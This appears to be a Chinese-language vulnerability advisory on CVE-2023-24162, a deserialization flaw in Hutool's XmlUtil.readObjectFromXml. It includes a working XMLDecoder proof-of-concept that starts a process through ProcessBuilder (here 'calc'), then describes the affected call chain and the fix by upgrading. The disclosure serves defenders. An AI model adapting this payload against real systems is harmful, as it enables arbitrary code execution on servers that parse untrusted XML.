赞
踩
Hutool是一个小而全的Java工具类库,通过静态方法封装,降低相关API的学习成本,提高工作效率。
Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。
Hutool v5.8.11
- XmlUtil.readObjectFromXml("<java>\n" +
- " <object class=\"java.lang.ProcessBuilder\">\n" +
- " <array class=\"java.lang.String\" length=\"1\">\n" +
- " <void index=\"0\">\n" +
- " <string>calc</string>\n" +
- " </void>\n" +
- " </array>\n" +
- " <void method=\"start\"></void>\n" +
- " </object>\n" +
- "</java>\n");
在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml 方法
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)
当然这个地方也是可以通过读取文件来实现的
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)
cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)
java.beans.XMLDecoder#readObject
漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法 就可以避免这个漏洞的产生。
修复方式
官方已发布补丁,升级到最新版本即可
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-24162
https://gitee.com/dromara/hutool/issues/I6AEX2
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。